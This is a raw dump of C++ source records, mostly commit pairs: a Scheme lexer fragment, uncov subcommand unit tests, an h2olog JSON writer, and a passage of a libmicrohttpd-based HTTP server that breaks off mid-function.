QHash::const_iterator it = namedChars().find(string);\n if (it != namedChars().constEnd()) {\n _charValue = it.value();\n return Char;\n }\n if (string.at(0) != 'x') {\n throw ScriptError(\"Unknown character.\", _position);\n }\n bool ok;\n _charValue = string.remove(0, 1).toInt(&ok, 16);\n if (!ok) {\n throw ScriptError(\"Invalid character value.\", _position);\n }\n return Char;\n }\n break;\n\n case '(':\n _idx += 2;\n return Vector;\n\n case 'v':\n if (_idx + 4 < nn && _expr.mid(_idx + 2, 3) == \"u8(\") {\n _idx += 5;\n return ByteVector;\n }\n break;\n\n case '\\'':\n _idx += 2;\n return Syntax;\n\n case '`':\n _idx += 2;\n return Quasisyntax;\n\n case ',':\n if (_idx + 2 < nn && _expr.at(_idx + 2) == '@') {\n _idx += 3;\n return UnsyntaxSplicing;\n }\n _idx += 2;\n return Unsyntax;\n\n case '!':\n if (_idx + 5 < nn && _expr.mid(_idx + 2, 4) == \"r6rs\") {\n _idx += 6;\n continue;\n }\n break;\n\n case '|': {\n int depth = 1;\n for (_idx += 2; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n switch (ch.unicode()) {\n case '\\n':\n _line++;\n _lineIdx = _idx + 1;\n break;\n\n case '#':\n if (_idx + 1 < nn && _expr.at(_idx + 1) == '|') {\n _idx++;\n depth++;\n }\n break;\n\n case '|':\n if (_idx + 1 < nn && _expr.at(_idx + 1) == '#') {\n _idx++;\n if (--depth == 0) {\n goto outerContinue;\n }\n }\n break;\n }\n }\n break;\n }\n case ';':\n _idx += 2;\n return Comment;\n }\n }\n } else if (ch == '+' || ch == '-') {\n if (_idx + 1 < nn) {\n QChar nch = _expr.at(_idx + 1);\n if (nch.isDigit() || nch == '.') {\n return readNumber();\n }\n }\n } else if (ch == '.') {\n if (_idx + 1 < nn) {\n QChar nch = _expr.at(_idx + 1);\n if (nch.isDigit()) {\n return readNumber();\n }\n }\n } else if (ch.isDigit()) {\n return readNumber();\n }\n\n \/\/ assume it to be an identifier; search for first non-identifier character or end\n _string = \"\";\n for (; _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (isDelimiter(ch)) {\n break;\n }\n _string.append(ch);\n }\n return Identifier;\n\n \/\/ allow nested loops to continue\n outerContinue: ;\n }\n return NoLexeme;\n}\n\nLexer::LexemeType Lexer::readNumber ()\n{\n \/\/ read until we reach a non-number character, noting if we see a decimal\n QString nstr;\n bool decimal = false;\n\n for (int nn = _expr.length(); _idx < nn; _idx++) {\n QChar ch = _expr.at(_idx);\n if (ch == '.') {\n nstr.append(ch);\n decimal = true;\n continue;\n }\n if (!(ch.isLetter() || ch.isDigit() || ch == '+' || ch == '-')) {\n break;\n }\n nstr.append(ch);\n }\n bool valid;\n if (decimal) {\n _floatValue = nstr.toFloat(&valid);\n if (!valid) {\n throw ScriptError(\"Invalid float literal.\", _position);\n }\n return Float;\n\n } else {\n _intValue = nstr.toInt(&valid, 0); \/\/ allow 0x### for hex, 0### for octal\n if (!valid) {\n throw ScriptError(\"Invalid integer literal.\", _position);\n }\n return Integer;\n }\n}\n<|endoftext|>"} {"text":"\/\/ Copyright (C) 2016 xaizek \n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov. If not, see .\n\n#include \"Catch\/catch.hpp\"\n\n#include \n\n#include \n#include \n#include \n\n#include \"BuildHistory.hpp\"\n#include \"DB.hpp\"\n#include \"Repository.hpp\"\n#include \"SubCommand.hpp\"\n\n#include \"TestUtils.hpp\"\n\n\/**\n * @brief Temporarily redirects specified stream from a string.\n *\/\nclass StreamSubstitute\n{\npublic:\n \/**\n * @brief Constructs instance that redirects @p is.\n *\n * @param is Stream to redirect.\n * @param str Contents to splice into the stream.\n *\/\n StreamSubstitute(std::istream &is, const std::string &str)\n : is(is), iss(str)\n {\n rdbuf = is.rdbuf();\n is.rdbuf(iss.rdbuf());\n }\n\n \/**\n * @brief Restores original state of the stream.\n *\/\n ~StreamSubstitute()\n {\n is.rdbuf(rdbuf);\n }\n\nprivate:\n \/**\n * @brief Stream that is being redirected.\n *\/\n std::istream &is;\n \/**\n * @brief Temporary input buffer of the stream.\n *\/\n std::istringstream iss;\n \/**\n * @brief Original input buffer of the stream.\n *\/\n std::streambuf *rdbuf;\n};\n\nstatic SubCommand * getCmd(const std::string &name);\n\nTEST_CASE(\"Diff fails on wrong file path\", \"[subcommands][diff-subcommand]\")\n{\n Repository repo(\"tests\/test-repo\/subdir\");\n DB db(repo.getGitPath() + \"\/uncover.sqlite\");\n BuildHistory bh(db);\n\n StreamCapture coutCapture(std::cout), cerrCapture(std::cerr);\n REQUIRE(getCmd(\"diff\")->exec(bh, repo, { \"no-such-path\" }) == EXIT_FAILURE);\n CHECK(coutCapture.get() == std::string());\n CHECK(cerrCapture.get() != std::string());\n}\n\nTEST_CASE(\"New handles input gracefully\", \"[subcommands][new-subcommand]\")\n{\n Repository repo(\"tests\/test-repo\/subdir\");\n DB db(repo.getGitPath() + \"\/uncover.sqlite\");\n BuildHistory bh(db);\n StreamCapture coutCapture(std::cout), cerrCapture(std::cerr);\n\n SECTION(\"Missing hashsum\")\n {\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n REQUIRE(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_FAILURE);\n }\n\n SECTION(\"Not number in coverage\")\n {\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 asdf -1 1 -1\\n\");\n REQUIRE(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_FAILURE);\n }\n\n SECTION(\"Wrong file hash\")\n {\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n REQUIRE(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_FAILURE);\n }\n\n CHECK(coutCapture.get() == std::string());\n CHECK(cerrCapture.get() != std::string());\n}\n\nTEST_CASE(\"New creates new builds\", \"[subcommands][new-subcommand]\")\n{\n Repository repo(\"tests\/test-repo\/subdir\");\n const std::string dbPath = repo.getGitPath() + \"\/uncover.sqlite\";\n FileRestorer databaseRestorer(dbPath, dbPath + \"_original\");\n DB db(dbPath);\n BuildHistory bh(db);\n StreamCapture coutCapture(std::cout), cerrCapture(std::cerr);\n\n SECTION(\"File missing from commit is just skipped\")\n {\n auto sizeWas = bh.getBuilds().size();\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"no-such-file\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n REQUIRE(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_SUCCESS);\n REQUIRE(bh.getBuilds().size() == sizeWas + 1);\n REQUIRE(bh.getBuilds().back().getPaths() == vs({}));\n\n CHECK(cerrCapture.get() != std::string());\n }\n\n SECTION(\"File path is normalized\")\n {\n auto sizeWas = bh.getBuilds().size();\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \".\/.\/test-file1.cpp\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n REQUIRE(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_SUCCESS);\n REQUIRE(bh.getBuilds().size() == sizeWas + 1);\n REQUIRE(bh.getBuilds().back().getPaths() != vs({}));\n\n CHECK(cerrCapture.get() == std::string());\n }\n\n SECTION(\"Well-formed input is accepted\")\n {\n auto sizeWas = bh.getBuilds().size();\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n REQUIRE(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_SUCCESS);\n REQUIRE(bh.getBuilds().size() == sizeWas + 1);\n REQUIRE(bh.getBuilds().back().getPaths() != vs({}));\n\n CHECK(cerrCapture.get() == std::string());\n }\n\n CHECK(coutCapture.get() != std::string());\n}\n\nstatic SubCommand *\ngetCmd(const std::string &name)\n{\n for (SubCommand *cmd : SubCommand::getAll()) {\n if (cmd->getName() == name) {\n return cmd;\n }\n }\n throw std::invalid_argument(\"No such command: \" + name);\n}\nREQUIRE => CHECK in some sub_commands tests\/\/ Copyright (C) 2016 xaizek \n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov. If not, see .\n\n#include \"Catch\/catch.hpp\"\n\n#include \n\n#include \n#include \n#include \n\n#include \"BuildHistory.hpp\"\n#include \"DB.hpp\"\n#include \"Repository.hpp\"\n#include \"SubCommand.hpp\"\n\n#include \"TestUtils.hpp\"\n\n\/**\n * @brief Temporarily redirects specified stream from a string.\n *\/\nclass StreamSubstitute\n{\npublic:\n \/**\n * @brief Constructs instance that redirects @p is.\n *\n * @param is Stream to redirect.\n * @param str Contents to splice into the stream.\n *\/\n StreamSubstitute(std::istream &is, const std::string &str)\n : is(is), iss(str)\n {\n rdbuf = is.rdbuf();\n is.rdbuf(iss.rdbuf());\n }\n\n \/**\n * @brief Restores original state of the stream.\n *\/\n ~StreamSubstitute()\n {\n is.rdbuf(rdbuf);\n }\n\nprivate:\n \/**\n * @brief Stream that is being redirected.\n *\/\n std::istream &is;\n \/**\n * @brief Temporary input buffer of the stream.\n *\/\n std::istringstream iss;\n \/**\n * @brief Original input buffer of the stream.\n *\/\n std::streambuf *rdbuf;\n};\n\nstatic SubCommand * getCmd(const std::string &name);\n\nTEST_CASE(\"Diff fails on wrong file path\", \"[subcommands][diff-subcommand]\")\n{\n Repository repo(\"tests\/test-repo\/subdir\");\n DB db(repo.getGitPath() + \"\/uncover.sqlite\");\n BuildHistory bh(db);\n\n StreamCapture coutCapture(std::cout), cerrCapture(std::cerr);\n CHECK(getCmd(\"diff\")->exec(bh, repo, { \"no-such-path\" }) == EXIT_FAILURE);\n CHECK(coutCapture.get() == std::string());\n CHECK(cerrCapture.get() != std::string());\n}\n\nTEST_CASE(\"New handles input gracefully\", \"[subcommands][new-subcommand]\")\n{\n Repository repo(\"tests\/test-repo\/subdir\");\n DB db(repo.getGitPath() + \"\/uncover.sqlite\");\n BuildHistory bh(db);\n StreamCapture coutCapture(std::cout), cerrCapture(std::cerr);\n\n SECTION(\"Missing hashsum\")\n {\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n CHECK(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_FAILURE);\n }\n\n SECTION(\"Not number in coverage\")\n {\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 asdf -1 1 -1\\n\");\n CHECK(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_FAILURE);\n }\n\n SECTION(\"Wrong file hash\")\n {\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n CHECK(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_FAILURE);\n }\n\n CHECK(coutCapture.get() == std::string());\n CHECK(cerrCapture.get() != std::string());\n}\n\nTEST_CASE(\"New creates new builds\", \"[subcommands][new-subcommand]\")\n{\n Repository repo(\"tests\/test-repo\/subdir\");\n const std::string dbPath = repo.getGitPath() + \"\/uncover.sqlite\";\n FileRestorer databaseRestorer(dbPath, dbPath + \"_original\");\n DB db(dbPath);\n BuildHistory bh(db);\n StreamCapture coutCapture(std::cout), cerrCapture(std::cerr);\n\n SECTION(\"File missing from commit is just skipped\")\n {\n auto sizeWas = bh.getBuilds().size();\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"no-such-file\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n CHECK(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_SUCCESS);\n REQUIRE(bh.getBuilds().size() == sizeWas + 1);\n REQUIRE(bh.getBuilds().back().getPaths() == vs({}));\n\n CHECK(cerrCapture.get() != std::string());\n }\n\n SECTION(\"File path is normalized\")\n {\n auto sizeWas = bh.getBuilds().size();\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \".\/.\/test-file1.cpp\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n CHECK(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_SUCCESS);\n REQUIRE(bh.getBuilds().size() == sizeWas + 1);\n REQUIRE(bh.getBuilds().back().getPaths() != vs({}));\n\n CHECK(cerrCapture.get() == std::string());\n }\n\n SECTION(\"Well-formed input is accepted\")\n {\n auto sizeWas = bh.getBuilds().size();\n StreamSubstitute cinSubst(std::cin,\n \"8e354da4df664b71e06c764feb29a20d64351a01\\n\"\n \"master\\n\"\n \"test-file1.cpp\\n\"\n \"7e734c598d6ebdc19bbd660f6a7a6c73\\n\"\n \"5\\n\"\n \"-1 1 -1 1 -1\\n\");\n CHECK(getCmd(\"new\")->exec(bh, repo, {}) == EXIT_SUCCESS);\n REQUIRE(bh.getBuilds().size() == sizeWas + 1);\n REQUIRE(bh.getBuilds().back().getPaths() != vs({}));\n\n CHECK(cerrCapture.get() == std::string());\n }\n\n CHECK(coutCapture.get() != std::string());\n}\n\nstatic SubCommand *\ngetCmd(const std::string &name)\n{\n for (SubCommand *cmd : SubCommand::getAll()) {\n if (cmd->getName() == name) {\n return cmd;\n }\n }\n throw std::invalid_argument(\"No such command: \" + name);\n}\n<|endoftext|>"} {"text":"#include \"h2olog.h\"\n#include \"json.h\"\n\n#include \n#include \n#include \n\nextern \"C\" {\n#include \n#include \n#include \"h2o\/socket.h\"\n}\n\nusing namespace std;\n\n#define FPUTS_LIT(s, out) fwrite(s, 1, strlen(s), out)\n\nstatic bool json_need_escape(char c)\n{\n return static_cast(c) < 0x20 || c == 0x7f;\n}\n\nstatic void json_write_str_value(FILE *out, const char *str)\n{\n fputc('\"', out);\n while (*str) {\n switch (*str) {\n case '\\\"':\n FPUTS_LIT(\"\\\\\\\"\", out);\n break;\n case '\\\\':\n FPUTS_LIT(\"\\\\\\\\\", out);\n break;\n case '\\b':\n FPUTS_LIT(\"\\\\b\", out);\n break;\n case '\\f':\n FPUTS_LIT(\"\\\\f\", out);\n break;\n case '\\n':\n FPUTS_LIT(\"\\\\n\", out);\n break;\n case '\\r':\n FPUTS_LIT(\"\\\\r\", out);\n break;\n case '\\t':\n FPUTS_LIT(\"\\\\t\", out);\n break;\n default:\n if (!json_need_escape(*str)) {\n fputc(*str, out);\n } else {\n auto u8 = static_cast(*str);\n fprintf(out, \"\\\\u%04x\", u8);\n }\n break;\n }\n str++;\n }\n fputc('\"', out);\n}\n\nstatic void json_write_name_value(FILE *out, const char *name, size_t name_len)\n{\n fputc('\"', out);\n fwrite(name, 1, name_len, out);\n fputc('\"', out);\n fputc(':', out);\n}\n\nvoid json_write_pair_n(FILE *out, const char *name, size_t name_len, const char *value)\n{\n json_write_name_value(out, name, name_len);\n json_write_str_value(out, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, const char *value)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n json_write_str_value(out, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, const void *value, size_t len)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n fputc('\"', out);\n const uint8_t *bin = static_cast(value);\n for (size_t i = 0; i < len; i++) {\n fputc(\"0123456789abcdef\"[bin[i] >> 4], out);\n fputc(\"0123456789abcdef\"[bin[i] & 0xf], out);\n }\n fputc('\"', out);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, int32_t value)\n{\n json_write_pair_c(out, name, name_len, static_cast(value));\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, uint32_t value)\n{\n json_write_pair_c(out, name, name_len, static_cast(value));\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, int64_t value)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n fprintf(out, \"%\" PRId64, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, uint64_t value)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n fprintf(out, \"%\" PRIu64, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, const h2olog_address_t &value)\n{\n const sockaddr *sa = &value.sa;\n fputc(',', out);\n\n json_write_name_value(out, name, name_len);\n\n char addr[NI_MAXHOST];\n size_t addr_len = h2o_socket_getnumerichost(sa, sizeof(h2olog_address_t), addr);\n if (addr_len == SIZE_MAX) {\n fprintf(out, \"null\");\n return;\n }\n int32_t port = h2o_socket_getport(sa);\n\n fputc('\"', out);\n\n if (sa->sa_family == AF_INET) {\n \/\/ e.g. \"1.2.3.4:12345\"\n fwrite(addr, 1, addr_len, out);\n } else if (sa->sa_family == AF_INET6) {\n \/\/ e.g. \"[2001:0db8:85a3::8a2e:0370:7334]:12345\"\n fputc('[', out);\n fwrite(addr, 1, addr_len, out);\n fputc(']', out);\n }\n fputc(':', out);\n fprintf(out, \"%\" PRId32, port);\n\n fputc('\"', out);\n}\ninclude netdb.h for NI_MAXHOST#include \"h2olog.h\"\n#include \"json.h\"\n\n#include \n#include \n#include \n\nextern \"C\" {\n#include \n#include \n#include \n#include \"h2o\/socket.h\"\n}\n\nusing namespace std;\n\n#define FPUTS_LIT(s, out) fwrite(s, 1, strlen(s), out)\n\nstatic bool json_need_escape(char c)\n{\n return static_cast(c) < 0x20 || c == 0x7f;\n}\n\nstatic void json_write_str_value(FILE *out, const char *str)\n{\n fputc('\"', out);\n while (*str) {\n switch (*str) {\n case '\\\"':\n FPUTS_LIT(\"\\\\\\\"\", out);\n break;\n case '\\\\':\n FPUTS_LIT(\"\\\\\\\\\", out);\n break;\n case '\\b':\n FPUTS_LIT(\"\\\\b\", out);\n break;\n case '\\f':\n FPUTS_LIT(\"\\\\f\", out);\n break;\n case '\\n':\n FPUTS_LIT(\"\\\\n\", out);\n break;\n case '\\r':\n FPUTS_LIT(\"\\\\r\", out);\n break;\n case '\\t':\n FPUTS_LIT(\"\\\\t\", out);\n break;\n default:\n if (!json_need_escape(*str)) {\n fputc(*str, out);\n } else {\n auto u8 = static_cast(*str);\n fprintf(out, \"\\\\u%04x\", u8);\n }\n break;\n }\n str++;\n }\n fputc('\"', out);\n}\n\nstatic void json_write_name_value(FILE *out, const char *name, size_t name_len)\n{\n fputc('\"', out);\n fwrite(name, 1, name_len, out);\n fputc('\"', out);\n fputc(':', out);\n}\n\nvoid json_write_pair_n(FILE *out, const char *name, size_t name_len, const char *value)\n{\n json_write_name_value(out, name, name_len);\n json_write_str_value(out, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, const char *value)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n json_write_str_value(out, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, const void *value, size_t len)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n fputc('\"', out);\n const uint8_t *bin = static_cast(value);\n for (size_t i = 0; i < len; i++) {\n fputc(\"0123456789abcdef\"[bin[i] >> 4], out);\n fputc(\"0123456789abcdef\"[bin[i] & 0xf], out);\n }\n fputc('\"', out);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, int32_t value)\n{\n json_write_pair_c(out, name, name_len, static_cast(value));\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, uint32_t value)\n{\n json_write_pair_c(out, name, name_len, static_cast(value));\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, int64_t value)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n fprintf(out, \"%\" PRId64, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, uint64_t value)\n{\n fputc(',', out);\n json_write_name_value(out, name, name_len);\n fprintf(out, \"%\" PRIu64, value);\n}\n\nvoid json_write_pair_c(FILE *out, const char *name, size_t name_len, const h2olog_address_t &value)\n{\n const sockaddr *sa = &value.sa;\n fputc(',', out);\n\n json_write_name_value(out, name, name_len);\n\n char addr[NI_MAXHOST];\n size_t addr_len = h2o_socket_getnumerichost(sa, sizeof(h2olog_address_t), addr);\n if (addr_len == SIZE_MAX) {\n fprintf(out, \"null\");\n return;\n }\n int32_t port = h2o_socket_getport(sa);\n\n fputc('\"', out);\n\n if (sa->sa_family == AF_INET) {\n \/\/ e.g. \"1.2.3.4:12345\"\n fwrite(addr, 1, addr_len, out);\n } else if (sa->sa_family == AF_INET6) {\n \/\/ e.g. \"[2001:0db8:85a3::8a2e:0370:7334]:12345\"\n fputc('[', out);\n fwrite(addr, 1, addr_len, out);\n fputc(']', out);\n }\n fputc(':', out);\n fprintf(out, \"%\" PRId32, port);\n\n fputc('\"', out);\n}\n<|endoftext|>"} {"text":"\/**\n * Copyright (c) 2016, Loic Blot \n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"httpserver.h\"\n#include \n#include \n#include \n#include \n#include \"utils\/stringutils.h\"\n\nstatic const char* NOT_FOUND_PAGE = \"Not found<\/title><\/head><body><h1>No resource found at this address.<\/h1><\/body><\/html>\";\nstatic const char* BAD_REQUEST = \"<html><head><title>Bad request<\/title><\/head><body><h1>Bad request<\/h1><\/body><\/html>\";\n\nHTTPServer::HTTPServer(const uint16_t http_port): m_http_port(http_port)\n{\n\tm_mhd_daemon = MHD_start_daemon(MHD_USE_THREAD_PER_CONNECTION, m_http_port, NULL,\n\t\t\tNULL, &HTTPServer::request_handler, this, MHD_OPTION_NOTIFY_COMPLETED,\n\t\t\t&HTTPServer::request_completed, NULL, MHD_OPTION_END);\n}\n\nHTTPServer::~HTTPServer()\n{\n\tif (m_mhd_daemon) {\n\t\tMHD_stop_daemon(m_mhd_daemon);\n\t}\n}\n\nstruct HTTPRequestSession\n{\n\tstd::string result = \"\";\n\tbool data_handled = false;\n\tuint32_t http_code = MHD_HTTP_OK;\n};\n\nint HTTPServer::request_handler(void *http_server, struct MHD_Connection *connection,\n\tconst char *url, const char *method, const char *version, const char *upload_data,\n\tsize_t *upload_data_size, void **con_cls)\n{\n\tHTTPServer *httpd = (HTTPServer *) http_server;\n\tHTTPMethod http_method;\n\tstruct MHD_Response *response;\n\tint ret;\n\n\tif (strcmp(method, \"GET\") == 0) {\n\t\thttp_method = HTTP_METHOD_GET;\n\t}\n\telse if (strcmp(method, \"POST\") == 0) {\n\t\thttp_method = HTTP_METHOD_POST;\n\t}\n\telse if (strcmp(method, \"PUT\") == 0) {\n\t\thttp_method = HTTP_METHOD_PUT;\n\t}\n\telse if (strcmp(method, \"PATCH\") == 0) {\n\t\thttp_method = HTTP_METHOD_PATCH;\n\t}\n\telse if (strcmp(method, \"PROPFIND\") == 0) {\n\t\thttp_method = HTTP_METHOD_PROPFIND;\n\t}\n\telse if (strcmp(method, \"DELETE\") == 0) {\n\t\thttp_method = HTTP_METHOD_DELETE;\n\t}\n\telse if (strcmp(method, \"HEAD\") == 0) {\n\t\thttp_method = HTTP_METHOD_HEAD;\n\t}\n\telse {\n\t\treturn MHD_NO; \/* unexpected method *\/\n\t}\n\n\tif (*con_cls == NULL) {\n\t\t\/\/ The first time only the headers are valid,\n\t\t\/\/ do not respond in the first round...\n\t\t\/\/ Just init our response\n\t\tHTTPRequestSession *session = new HTTPRequestSession();\n\t\t*con_cls = session;\n\t\treturn MHD_YES;\n\t}\n\n\t\/\/ Handle request\n\tHTTPRequestSession *session = (HTTPRequestSession *) *con_cls;\n\tif (!session->data_handled && !httpd->handle_query(http_method, connection, std::string(url),\n\t\tstd::string(upload_data, *upload_data_size), session->result)) {\n\t\tsession->result = std::string(BAD_REQUEST);\n\t\tsession->http_code = MHD_HTTP_BAD_REQUEST;\n\t}\n\n\t\/\/ When post data is available, reinit the data_size because this function\n\t\/\/ is called another time. And mark the current session as handled\n\tif (*upload_data_size > 0) {\n\t\t*upload_data_size = 0;\n\t\tsession->data_handled = true;\n\t\treturn MHD_YES;\n\t}\n\n\tresponse = MHD_create_response_from_buffer(session->result.length(),\n\t\t(void *) session->result.c_str(), MHD_RESPMEM_MUST_COPY);\n\tret = MHD_queue_response(connection, session->http_code, response);\n\tMHD_destroy_response(response);\n\n\t\/\/ clear context pointer\n\tdelete session;\n\t*con_cls = NULL;\n\treturn ret;\n}\n\nvoid HTTPServer::request_completed(void *cls, struct MHD_Connection *connection,\n\t\tvoid **con_cls, MHD_RequestTerminationCode toe)\n{\n}\n\nbool HTTPServer::handle_query(HTTPMethod m, MHD_Connection *conn, const std::string &url,\n\tconst std::string &upload_data, std::string &result)\n{\n\tassert(m < HTTP_METHOD_MAX);\n\n\tHTTPServerReqHandlerMap::const_iterator url_handler = m_handlers[m].find(url);\n\tif (url_handler == m_handlers[m].end()) {\n\t\treturn false;\n\t}\n\n\tHTTPQueryPtr q;\n\n\t\/\/ Read which params we want and store them\n\tconst char* content_type = MHD_lookup_connection_value(conn, MHD_HEADER_KIND, \"Content-Type\");\n\tif (!content_type) {\n\t\tq = HTTPQueryPtr(new HTTPQuery());\n\t}\n\telse if (strcmp(content_type, \"application\/x-www-form-urlencoded\") == 0) {\n\t\tq = HTTPQueryPtr(new HTTPFormQuery());\n\t\tif (!parse_post_data(upload_data, q)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\telse if (strcmp(content_type, \"application\/json\") == 0) {\n\t\tHTTPJsonQuery *jq = new HTTPJsonQuery();\n\t\tq = HTTPQueryPtr(jq);\n\t\tJson::Reader reader;\n\t\tif (!reader.parse(upload_data, jq->json_query)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\telse {\n\t\tq = HTTPQueryPtr(new HTTPQuery());\n\t}\n\n\tq->url = url;\n\tMHD_get_connection_values(conn, MHD_HEADER_KIND, &HTTPServer::mhd_iter_headers, q.get());\n\tMHD_get_connection_values(conn, MHD_GET_ARGUMENT_KIND, &HTTPServer::mhd_iter_getargs, 